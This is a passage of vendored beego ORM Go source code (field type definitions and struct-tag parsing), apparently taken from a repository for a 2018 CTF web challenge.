time.Time\nfunc (e DateField) Value() time.Time {\n\treturn time.Time(e)\n}\n\n// Set set the DateField's value\nfunc (e *DateField) Set(d time.Time) {\n\t*e = DateField(d)\n}\n\n// String convert datetime to string\nfunc (e *DateField) String() string {\n\treturn e.Value().String()\n}\n\n// FieldType return enum type Date\nfunc (e *DateField) FieldType() int {\n\treturn TypeDateField\n}\n\n// SetRaw convert the interface to time.Time. Allow string and time.Time\nfunc (e *DateField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase time.Time:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := timeParse(d, formatDate)\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\t\treturn err\n\tdefault:\n\t\treturn fmt.Errorf(\"<DateField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return Date value\nfunc (e *DateField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify DateField implement fielder interface\nvar _ Fielder = new(DateField)\n\n// DateTimeField A date, represented in go by a time.Time instance.\n// datetime values like 2006-01-02 15:04:05\n// Takes the same extra arguments as DateField.\ntype DateTimeField time.Time\n\n// Value return the datetime value\nfunc (e DateTimeField) Value() time.Time {\n\treturn time.Time(e)\n}\n\n// Set set the time.Time to datetime\nfunc (e *DateTimeField) Set(d time.Time) {\n\t*e = DateTimeField(d)\n}\n\n// String return the time's String\nfunc (e *DateTimeField) String() string {\n\treturn e.Value().String()\n}\n\n// FieldType return the enum TypeDateTimeField\nfunc (e *DateTimeField) FieldType() int {\n\treturn TypeDateTimeField\n}\n\n// SetRaw convert the string or time.Time to DateTimeField\nfunc (e *DateTimeField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase time.Time:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := timeParse(d, formatDateTime)\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\t\treturn err\n\tdefault:\n\t\treturn fmt.Errorf(\"<DateTimeField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return the datetime value\nfunc (e *DateTimeField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify datetime implement fielder\nvar _ Fielder = new(DateTimeField)\n\n// FloatField A floating-point number represented in go by a float32 value.\ntype FloatField float64\n\n// Value return the FloatField value\nfunc (e FloatField) Value() float64 {\n\treturn float64(e)\n}\n\n// Set the Float64\nfunc (e *FloatField) Set(d float64) {\n\t*e = FloatField(d)\n}\n\n// String return the string\nfunc (e *FloatField) String() string {\n\treturn ToStr(e.Value(), -1, 32)\n}\n\n// FieldType return the enum type\nfunc (e *FloatField) FieldType() int {\n\treturn TypeFloatField\n}\n\n// SetRaw converter interface Float64 float32 or string to FloatField\nfunc (e *FloatField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase float32:\n\t\te.Set(float64(d))\n\tcase float64:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Float64()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<FloatField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return the FloatField value\nfunc (e *FloatField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify FloatField implement Fielder\nvar _ Fielder = new(FloatField)\n\n// SmallIntegerField -32768 to 32767\ntype SmallIntegerField int16\n\n// Value return int16 value\nfunc (e SmallIntegerField) Value() int16 {\n\treturn int16(e)\n}\n\n// Set the SmallIntegerField value\nfunc (e *SmallIntegerField) Set(d int16) {\n\t*e = SmallIntegerField(d)\n}\n\n// String convert smallint to string\nfunc (e *SmallIntegerField) String() string {\n\treturn ToStr(e.Value())\n}\n\n// FieldType return enum type SmallIntegerField\nfunc (e *SmallIntegerField) FieldType() int {\n\treturn TypeSmallIntegerField\n}\n\n// SetRaw convert interface int16/string to int16\nfunc (e *SmallIntegerField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase int16:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Int16()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<SmallIntegerField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return smallint value\nfunc (e *SmallIntegerField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify SmallIntegerField implement Fielder\nvar _ Fielder = new(SmallIntegerField)\n\n// IntegerField -2147483648 to 2147483647\ntype IntegerField int32\n\n// Value return the int32\nfunc (e IntegerField) Value() int32 {\n\treturn int32(e)\n}\n\n// Set IntegerField value\nfunc (e *IntegerField) Set(d int32) {\n\t*e = IntegerField(d)\n}\n\n// String convert Int32 to string\nfunc (e *IntegerField) String() string {\n\treturn ToStr(e.Value())\n}\n\n// FieldType return the enum type\nfunc (e *IntegerField) FieldType() int {\n\treturn TypeIntegerField\n}\n\n// SetRaw convert interface int32/string to int32\nfunc (e *IntegerField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase int32:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Int32()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<IntegerField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return IntegerField value\nfunc (e *IntegerField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify IntegerField implement Fielder\nvar _ Fielder = new(IntegerField)\n\n// BigIntegerField -9223372036854775808 to 9223372036854775807.\ntype BigIntegerField int64\n\n// Value return int64\nfunc (e BigIntegerField) Value() int64 {\n\treturn int64(e)\n}\n\n// Set the BigIntegerField value\nfunc (e *BigIntegerField) Set(d int64) {\n\t*e = BigIntegerField(d)\n}\n\n// String convert BigIntegerField to string\nfunc (e *BigIntegerField) String() string {\n\treturn ToStr(e.Value())\n}\n\n// FieldType return enum type\nfunc (e *BigIntegerField) FieldType() int {\n\treturn TypeBigIntegerField\n}\n\n// SetRaw convert interface int64/string to int64\nfunc (e *BigIntegerField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase int64:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Int64()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<BigIntegerField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return BigIntegerField value\nfunc (e *BigIntegerField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify BigIntegerField implement Fielder\nvar _ Fielder = new(BigIntegerField)\n\n// PositiveSmallIntegerField 0 to 65535\ntype PositiveSmallIntegerField uint16\n\n// Value return uint16\nfunc (e PositiveSmallIntegerField) Value() uint16 {\n\treturn uint16(e)\n}\n\n// Set PositiveSmallIntegerField value\nfunc (e *PositiveSmallIntegerField) Set(d uint16) {\n\t*e = PositiveSmallIntegerField(d)\n}\n\n// String convert uint16 to string\nfunc (e *PositiveSmallIntegerField) String() string {\n\treturn ToStr(e.Value())\n}\n\n// FieldType return enum type\nfunc (e *PositiveSmallIntegerField) FieldType() int {\n\treturn TypePositiveSmallIntegerField\n}\n\n// SetRaw convert Interface uint16/string to uint16\nfunc (e *PositiveSmallIntegerField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase uint16:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Uint16()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<PositiveSmallIntegerField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue returns PositiveSmallIntegerField value\nfunc (e *PositiveSmallIntegerField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify PositiveSmallIntegerField implement Fielder\nvar _ Fielder = new(PositiveSmallIntegerField)\n\n// PositiveIntegerField 0 to 4294967295\ntype PositiveIntegerField uint32\n\n// Value return PositiveIntegerField value. Uint32\nfunc (e PositiveIntegerField) Value() uint32 {\n\treturn uint32(e)\n}\n\n// Set the PositiveIntegerField value\nfunc (e *PositiveIntegerField) Set(d uint32) {\n\t*e = PositiveIntegerField(d)\n}\n\n// String convert PositiveIntegerField to string\nfunc (e *PositiveIntegerField) String() string {\n\treturn ToStr(e.Value())\n}\n\n// FieldType return enum type\nfunc (e *PositiveIntegerField) FieldType() int {\n\treturn TypePositiveIntegerField\n}\n\n// SetRaw convert interface uint32/string to Uint32\nfunc (e *PositiveIntegerField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase uint32:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Uint32()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<PositiveIntegerField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return the PositiveIntegerField Value\nfunc (e *PositiveIntegerField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify PositiveIntegerField implement Fielder\nvar _ Fielder = new(PositiveIntegerField)\n\n// PositiveBigIntegerField 0 to 18446744073709551615\ntype PositiveBigIntegerField uint64\n\n// Value return uint64\nfunc (e PositiveBigIntegerField) Value() uint64 {\n\treturn uint64(e)\n}\n\n// Set PositiveBigIntegerField value\nfunc (e *PositiveBigIntegerField) Set(d uint64) {\n\t*e = PositiveBigIntegerField(d)\n}\n\n// String convert PositiveBigIntegerField to string\nfunc (e *PositiveBigIntegerField) String() string {\n\treturn ToStr(e.Value())\n}\n\n// FieldType return enum type\nfunc (e *PositiveBigIntegerField) FieldType() int {\n\treturn TypePositiveIntegerField\n}\n\n// SetRaw convert interface uint64/string to Uint64\nfunc (e *PositiveBigIntegerField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase uint64:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Uint64()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<PositiveBigIntegerField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return PositiveBigIntegerField value\nfunc (e *PositiveBigIntegerField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify PositiveBigIntegerField implement Fielder\nvar _ Fielder = new(PositiveBigIntegerField)\n\n// TextField A large text field.\ntype TextField string\n\n// Value return TextField value\nfunc (e TextField) Value() string {\n\treturn string(e)\n}\n\n// Set the TextField value\nfunc (e *TextField) Set(d string) {\n\t*e = TextField(d)\n}\n\n// String convert TextField to string\nfunc (e *TextField) String() string {\n\treturn e.Value()\n}\n\n// FieldType return enum type\nfunc (e *TextField) FieldType() int {\n\treturn TypeTextField\n}\n\n// SetRaw convert interface string to string\nfunc (e *TextField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase string:\n\t\te.Set(d)\n\tdefault:\n\t\treturn fmt.Errorf(\"<TextField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return TextField value\nfunc (e *TextField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify TextField implement Fielder\nvar _ Fielder = new(TextField)\n\n// JSONField postgres json field.\ntype JSONField string\n\n// Value return JSONField value\nfunc (j JSONField) Value() string {\n\treturn string(j)\n}\n\n// Set the JSONField value\nfunc (j *JSONField) Set(d string) {\n\t*j = JSONField(d)\n}\n\n// String convert JSONField to string\nfunc (j *JSONField) String() string {\n\treturn j.Value()\n}\n\n// FieldType return enum type\nfunc (j *JSONField) FieldType() int {\n\treturn TypeJSONField\n}\n\n// SetRaw convert interface string to string\nfunc (j *JSONField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase string:\n\t\tj.Set(d)\n\tdefault:\n\t\treturn fmt.Errorf(\"<JSONField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return JSONField value\nfunc (j *JSONField) RawValue() interface{} {\n\treturn j.Value()\n}\n\n// verify JSONField implement Fielder\nvar _ Fielder = new(JSONField)\n\n// JsonbField postgres json field.\ntype JsonbField string\n\n// Value return JsonbField value\nfunc (j JsonbField) Value() string {\n\treturn string(j)\n}\n\n// Set the JsonbField value\nfunc (j *JsonbField) Set(d string) {\n\t*j = JsonbField(d)\n}\n\n// String convert JsonbField to string\nfunc (j *JsonbField) String() string {\n\treturn j.Value()\n}\n\n// FieldType return enum type\nfunc (j *JsonbField) FieldType() int {\n\treturn TypeJsonbField\n}\n\n// SetRaw convert interface string to string\nfunc (j *JsonbField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase string:\n\t\tj.Set(d)\n\tdefault:\n\t\treturn fmt.Errorf(\"<JsonbField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return JsonbField value\nfunc (j *JsonbField) RawValue() interface{} {\n\treturn j.Value()\n}\n\n// verify JsonbField implement Fielder\nvar _ Fielder = new(JsonbField)\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models_info_f.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"strings\"\n)\n\nvar errSkipField = errors.New(\"skip field\")\n\n// field info collection\ntype fields struct {\n\tpk            *fieldInfo\n\tcolumns       map[string]*fieldInfo\n\tfields        map[string]*fieldInfo\n\tfieldsLow     map[string]*fieldInfo\n\tfieldsByType  map[int][]*fieldInfo\n\tfieldsRel     []*fieldInfo\n\tfieldsReverse []*fieldInfo\n\tfieldsDB      []*fieldInfo\n\trels          []*fieldInfo\n\torders        []string\n\tdbcols        []string\n}\n\n// add field info\nfunc (f *fields) Add(fi *fieldInfo) (added bool) {\n\tif f.fields[fi.name] == nil && f.columns[fi.column] == nil {\n\t\tf.columns[fi.column] = fi\n\t\tf.fields[fi.name] = fi\n\t\tf.fieldsLow[strings.ToLower(fi.name)] = fi\n\t} else {\n\t\treturn\n\t}\n\tif _, ok := f.fieldsByType[fi.fieldType]; !ok {\n\t\tf.fieldsByType[fi.fieldType] = make([]*fieldInfo, 0)\n\t}\n\tf.fieldsByType[fi.fieldType] = append(f.fieldsByType[fi.fieldType], fi)\n\tf.orders = append(f.orders, fi.column)\n\tif fi.dbcol {\n\t\tf.dbcols = append(f.dbcols, fi.column)\n\t\tf.fieldsDB = append(f.fieldsDB, fi)\n\t}\n\tif fi.rel {\n\t\tf.fieldsRel = append(f.fieldsRel, fi)\n\t}\n\tif fi.reverse {\n\t\tf.fieldsReverse = append(f.fieldsReverse, fi)\n\t}\n\treturn true\n}\n\n// get field info by name\nfunc (f *fields) GetByName(name string) *fieldInfo {\n\treturn f.fields[name]\n}\n\n// get field info by column name\nfunc (f *fields) GetByColumn(column string) *fieldInfo {\n\treturn f.columns[column]\n}\n\n// get field info by string, name is prior\nfunc (f *fields) GetByAny(name string) (*fieldInfo, bool) {\n\tif fi, ok := f.fields[name]; ok {\n\t\treturn fi, ok\n\t}\n\tif fi, ok := f.fieldsLow[strings.ToLower(name)]; ok {\n\t\treturn fi, ok\n\t}\n\tif fi, ok := f.columns[name]; ok {\n\t\treturn fi, ok\n\t}\n\treturn nil, false\n}\n\n// create new field info collection\nfunc newFields() *fields {\n\tf := new(fields)\n\tf.fields = make(map[string]*fieldInfo)\n\tf.fieldsLow = make(map[string]*fieldInfo)\n\tf.columns = make(map[string]*fieldInfo)\n\tf.fieldsByType = make(map[int][]*fieldInfo)\n\treturn f\n}\n\n// single field info\ntype fieldInfo struct {\n\tmi                  *modelInfo\n\tfieldIndex          []int\n\tfieldType           int\n\tdbcol               bool // table column fk and onetoone\n\tinModel             bool\n\tname                string\n\tfullName            string\n\tcolumn              string\n\taddrValue           reflect.Value\n\tsf                  reflect.StructField\n\tauto                bool\n\tpk                  bool\n\tnull                bool\n\tindex               bool\n\tunique              bool\n\tcolDefault          bool  // whether has default tag\n\tinitial             StrTo // store the default value\n\tsize                int\n\ttoText              bool\n\tautoNow             bool\n\tautoNowAdd          bool\n\trel                 bool // if type equal to RelForeignKey, RelOneToOne, RelManyToMany then true\n\treverse             bool\n\treverseField        string\n\treverseFieldInfo    *fieldInfo\n\treverseFieldInfoTwo *fieldInfo\n\treverseFieldInfoM2M *fieldInfo\n\trelTable            string\n\trelThrough          string\n\trelThroughModelInfo *modelInfo\n\trelModelInfo        *modelInfo\n\tdigits              int\n\tdecimals            int\n\tisFielder           bool // implement Fielder interface\n\tonDelete            string\n}\n\n// new field info\nfunc newFieldInfo(mi *modelInfo, field reflect.Value, sf reflect.StructField, mName string) (fi *fieldInfo, err error) {\n\tvar (\n\t\ttag       string\n\t\ttagValue  string\n\t\tinitial   StrTo // store the default value\n\t\tfieldType int\n\t\tattrs     map[string]bool\n\t\ttags      map[string]string\n\t\taddrField reflect.Value\n\t)\n\n\tfi = new(fieldInfo)\n\n\t// if field which CanAddr is the follow type\n\t//  A value is addressable if it is an element of a slice,\n\t//  an element of an addressable array, a field of an\n\t//  addressable struct, or the result of dereferencing a pointer.\n\taddrField = field\n\tif field.CanAddr() && field.Kind() != reflect.Ptr {\n\t\taddrField = field.Addr()\n\t\tif _, ok := addrField.Interface().(Fielder); !ok {\n\t\t\tif field.Kind() == reflect.Slice {\n\t\t\t\taddrField = field\n\t\t\t}\n\t\t}\n\t}\n\n\tattrs, tags = parseStructTag(sf.Tag.Get(defaultStructTagName))\n\n\tif _, ok := attrs[\"-\"]; ok {\n\t\treturn nil, errSkipField\n\t}\n\n\tdigits := tags[\"digits\"]\n\tdecimals := tags[\"decimals\"]\n\tsize := tags[\"size\"]\n\tonDelete := tags[\"on_delete\"]\n\n\tinitial.Clear()\n\tif v, ok := tags[\"default\"]; ok {\n\t\tinitial.Set(v)\n\t}\n\ncheckType:\n\tswitch f := addrField.Interface().(type) {\n\tcase Fielder:\n\t\tfi.isFielder = true\n\t\tif field.Kind() == reflect.Ptr {\n\t\t\terr = fmt.Errorf(\"the model Fielder can not be use ptr\")\n\t\t\tgoto end\n\t\t}\n\t\tfieldType = f.FieldType()\n\t\tif fieldType&IsRelField > 0 {\n\t\t\terr = fmt.Errorf(\"unsupport type custom field, please refer to https://github.com/astaxie/beego/blob/master/orm/models_fields.go#L24-L42\")\n\t\t\tgoto end\n\t\t}\n\tdefault:\n\t\ttag = \"rel\"\n\t\ttagValue = tags[tag]\n\t\tif tagValue != \"\" {\n\t\t\tswitch tagValue {\n\t\t\tcase \"fk\":\n\t\t\t\tfieldType = RelForeignKey\n\t\t\t\tbreak checkType\n\t\t\tcase \"one\":\n\t\t\t\tfieldType = RelOneToOne\n\t\t\t\tbreak checkType\n\t\t\tcase \"m2m\":\n\t\t\t\tfieldType = RelManyToMany\n\t\t\t\tif tv := tags[\"rel_table\"]; tv != \"\" {\n\t\t\t\t\tfi.relTable = tv\n\t\t\t\t} else if tv := tags[\"rel_through\"]; tv != \"\" {\n\t\t\t\t\tfi.relThrough = tv\n\t\t\t\t}\n\t\t\t\tbreak checkType\n\t\t\tdefault:\n\t\t\t\terr = fmt.Errorf(\"rel only allow these value: fk, one, m2m\")\n\t\t\t\tgoto wrongTag\n\t\t\t}\n\t\t}\n\t\ttag = \"reverse\"\n\t\ttagValue = tags[tag]\n\t\tif tagValue != \"\" {\n\t\t\tswitch tagValue {\n\t\t\tcase \"one\":\n\t\t\t\tfieldType = RelReverseOne\n\t\t\t\tbreak checkType\n\t\t\tcase \"many\":\n\t\t\t\tfieldType = RelReverseMany\n\t\t\t\tif tv := tags[\"rel_table\"]; tv != \"\" {\n\t\t\t\t\tfi.relTable = tv\n\t\t\t\t} else if tv := tags[\"rel_through\"]; tv != \"\" {\n\t\t\t\t\tfi.relThrough = tv\n\t\t\t\t}\n\t\t\t\tbreak checkType\n\t\t\tdefault:\n\t\t\t\terr = fmt.Errorf(\"reverse only allow these value: one, many\")\n\t\t\t\tgoto wrongTag\n\t\t\t}\n\t\t}\n\n\t\tfieldType, err = getFieldType(addrField)\n\t\tif err != nil {\n\t\t\tgoto end\n\t\t}\n\t\tif fieldType == TypeVarCharField {\n\t\t\tswitch tags[\"type\"] {\n\t\t\tcase \"char\":\n\t\t\t\tfieldType = TypeCharField\n\t\t\tcase \"text\":\n\t\t\t\tfieldType = TypeTextField\n\t\t\tcase \"json\":\n\t\t\t\tfieldType = TypeJSONField\n\t\t\tcase \"jsonb\":\n\t\t\t\tfieldType = TypeJsonbField\n\t\t\t}\n\t\t}\n\t\tif fieldType == TypeFloatField && (digits != \"\" || decimals != \"\") {\n\t\t\tfieldType = TypeDecimalField\n\t\t}\n\t\tif fieldType == TypeDateTimeField && tags[\"type\"] == \"date\" {\n\t\t\tfieldType = TypeDateField\n\t\t}\n\t\tif fieldType == TypeTimeField && tags[\"type\"] == \"time\" {\n\t\t\tfieldType = TypeTimeField\n\t\t}\n\t}\n\n\t// check the rel and reverse type\n\t// rel should Ptr\n\t// reverse should slice []*struct\n\tswitch fieldType {\n\tcase RelForeignKey, RelOneToOne, RelReverseOne:\n\t\tif field.Kind() != reflect.Ptr {\n\t\t\terr = fmt.Errorf(\"rel/reverse:one field must be *%s\", field.Type().Name())\n\t\t\tgoto end\n\t\t}\n\tcase RelManyToMany, RelReverseMany:\n\t\tif field.Kind() != reflect.Slice {\n\t\t\terr = fmt.Errorf(\"rel/reverse:many field must be slice\")\n\t\t\tgoto end\n\t\t} else {\n\t\t\tif field.Type().Elem().Kind() != reflect.Ptr {\n\t\t\t\terr = fmt.Errorf(\"rel/reverse:many slice must be []*%s\", field.Type().Elem().Name())\n\t\t\t\tgoto end\n\t\t\t}\n\t\t}\n\t}\n\n\tif fieldType&IsFieldType == 0 {\n\t\terr = fmt.Errorf(\"wrong field type\")\n\t\tgoto end\n\t}\n\n\tfi.fieldType = fieldType\n\tfi.name = sf.Name\n\tfi.column = getColumnName(fieldType, addrField, sf, tags[\"column\"])\n\tfi.addrValue = addrField\n\tfi.sf = sf\n\tfi.fullName = mi.fullName + mName + \".\" + sf.Name\n\n\tfi.null = attrs[\"null\"]\n\tfi.index = attrs[\"index\"]\n\tfi.auto = attrs[\"auto\"]\n\tfi.pk = attrs[\"pk\"]\n\tfi.unique = attrs[\"unique\"]\n\n\t// Mark object property if there is attribute \"default\" in the orm configuration\n\tif _, ok := tags[\"default\"]; ok {\n\t\tfi.colDefault = true\n\t}\n\n\tswitch fieldType {\n\tcase RelManyToMany, RelReverseMany, RelReverseOne:\n\t\tfi.null = false\n\t\tfi.index = false\n\t\tfi.auto = false\n\t\tfi.pk = false\n\t\tfi.unique = false\n\tdefault:\n\t\tfi.dbcol = true\n\t}\n\n\tswitch fieldType {\n\tcase RelForeignKey, RelOneToOne, RelManyToMany:\n\t\tfi.rel = true\n\t\tif fieldType == RelOneToOne {\n\t\t\tfi.unique = true\n\t\t}\n\tcase RelReverseMany, RelReverseOne:\n\t\tfi.reverse = true\n\t}\n\n\tif fi.rel && fi.dbcol {\n\t\tswitch onDelete {\n\t\tcase odCascade, odDoNothing:\n\t\tcase odSetDefault:\n\t\t\tif !initial.Exist() {\n\t\t\t\terr = errors.New(\"on_delete: set_default need set field a default value\")\n\t\t\t\tgoto end\n\t\t\t}\n\t\tcase odSetNULL:\n\t\t\tif !fi.null {\n\t\t\t\terr = errors.New(\"on_delete: set_null need set field null\")\n\t\t\t\tgoto end\n\t\t\t}\n\t\tdefault:\n\t\t\tif onDelete == \"\" {\n\t\t\t\tonDelete = odCascade\n\t\t\t} else {\n\t\t\t\terr = fmt.Errorf(\"on_delete value expected choice in `cascade,set_null,set_default,do_nothing`, unknown `%s`\", onDelete)\n\t\t\t\tgoto end\n\t\t\t}\n\t\t}\n\n\t\tfi.onDelete = onDelete\n\t}\n\n\tswitch fieldType {\n\tcase TypeBooleanField:\n\tcase TypeVarCharField, TypeCharField, TypeJSONField, TypeJsonbField:\n\t\tif size != \"\" {\n\t\t\tv, e := StrTo(size).Int32()\n\t\t\tif e != nil {\n\t\t\t\terr = fmt.Errorf(\"wrong size value `%s`\", size)\n\t\t\t} else {\n\t\t\t\tfi.size = int(v)\n\t\t\t}\n\t\t} else {\n\t\t\tfi.size = 255\n\t\t\tfi.toText = true\n\t\t}\n\tcase TypeTextField:\n\t\tfi.index = false\n\t\tfi.unique = false\n\tcase TypeTimeField, TypeDateField, TypeDateTimeField:\n\t\tif attrs[\"auto_now\"] {\n\t\t\tfi.autoNow = true\n\t\t} else if attrs[\"auto_now_add\"] {\n\t\t\tfi.autoNowAdd = true\n\t\t}\n\tcase TypeFloatField:\n\tcase TypeDecimalField:\n\t\td1 := digits\n\t\td2 := decimals\n\t\tv1, er1 := StrTo(d1).Int8()\n\t\tv2, er2 := StrTo(d2).Int8()\n\t\tif er1 != nil || er2 != nil {\n\t\t\terr = fmt.Errorf(\"wrong digits/decimals value %s/%s\", d2, d1)\n\t\t\tgoto end\n\t\t}\n\t\tfi.digits = int(v1)\n\t\tfi.decimals = int(v2)\n\tdefault:\n\t\tswitch {\n\t\tcase fieldType&IsIntegerField > 0:\n\t\tcase fieldType&IsRelField > 0:\n\t\t}\n\t}\n\n\tif fieldType&IsIntegerField == 0 {\n\t\tif fi.auto {\n\t\t\terr = fmt.Errorf(\"non-integer type cannot set auto\")\n\t\t\tgoto end\n\t\t}\n\t}\n\n\tif fi.auto || fi.pk {\n\t\tif fi.auto {\n\t\t\tswitch addrField.Elem().Kind() {\n\t\t\tcase reflect.Int, reflect.Int32, reflect.Int64, reflect.Uint, reflect.Uint32, reflect.Uint64:\n\t\t\tdefault:\n\t\t\t\terr = fmt.Errorf(\"auto primary key only support int, int32, int64, uint, uint32, uint64 but found `%s`\", addrField.Elem().Kind())\n\t\t\t\tgoto end\n\t\t\t}\n\t\t\tfi.pk = true\n\t\t}\n\t\tfi.null = false\n\t\tfi.index = false\n\t\tfi.unique = false\n\t}\n\n\tif fi.unique {\n\t\tfi.index = false\n\t}\n\n\t// can not set default for these type\n\tif fi.auto || fi.pk || fi.unique || fieldType == TypeTimeField || fieldType == TypeDateField || fieldType == TypeDateTimeField {\n\t\tinitial.Clear()\n\t}\n\n\tif initial.Exist() {\n\t\tv := initial\n\t\tswitch fieldType {\n\t\tcase TypeBooleanField:\n\t\t\t_, err = v.Bool()\n\t\tcase TypeFloatField, TypeDecimalField:\n\t\t\t_, err = v.Float64()\n\t\tcase TypeBitField:\n\t\t\t_, err = v.Int8()\n\t\tcase TypeSmallIntegerField:\n\t\t\t_, err = v.Int16()\n\t\tcase TypeIntegerField:\n\t\t\t_, err = v.Int32()\n\t\tcase TypeBigIntegerField:\n\t\t\t_, err = v.Int64()\n\t\tcase TypePositiveBitField:\n\t\t\t_, err = v.Uint8()\n\t\tcase TypePositiveSmallIntegerField:\n\t\t\t_, err = v.Uint16()\n\t\tcase TypePositiveIntegerField:\n\t\t\t_, err = v.Uint32()\n\t\tcase TypePositiveBigIntegerField:\n\t\t\t_, err = v.Uint64()\n\t\t}\n\t\tif err != nil {\n\t\t\ttag, tagValue = \"default\", tags[\"default\"]\n\t\t\tgoto wrongTag\n\t\t}\n\t}\n\n\tfi.initial = initial\nend:\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn\nwrongTag:\n\treturn nil, fmt.Errorf(\"wrong tag format: `%s:\\\"%s\\\"`, %s\", tag, tagValue, err)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models_info_m.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"reflect\"\n)\n\n// single model info\ntype modelInfo struct {\n\tpkg       string\n\tname      string\n\tfullName  string\n\ttable     string\n\tmodel     interface{}\n\tfields    *fields\n\tmanual    bool\n\taddrField reflect.Value //store the original struct value\n\tuniques   []string\n\tisThrough bool\n}\n\n// new model info\nfunc newModelInfo(val reflect.Value) (mi *modelInfo) {\n\tmi = &modelInfo{}\n\tmi.fields = newFields()\n\tind := reflect.Indirect(val)\n\tmi.addrField = val\n\tmi.name = ind.Type().Name()\n\tmi.fullName = getFullName(ind.Type())\n\taddModelFields(mi, ind, \"\", []int{})\n\treturn\n}\n\n// index: FieldByIndex returns the nested field corresponding to index\nfunc addModelFields(mi *modelInfo, ind reflect.Value, mName string, index []int) {\n\tvar (\n\t\terr error\n\t\tfi  *fieldInfo\n\t\tsf  reflect.StructField\n\t)\n\n\tfor i := 0; i < ind.NumField(); i++ {\n\t\tfield := ind.Field(i)\n\t\tsf = ind.Type().Field(i)\n\t\t// if the field is unexported skip\n\t\tif sf.PkgPath != \"\" 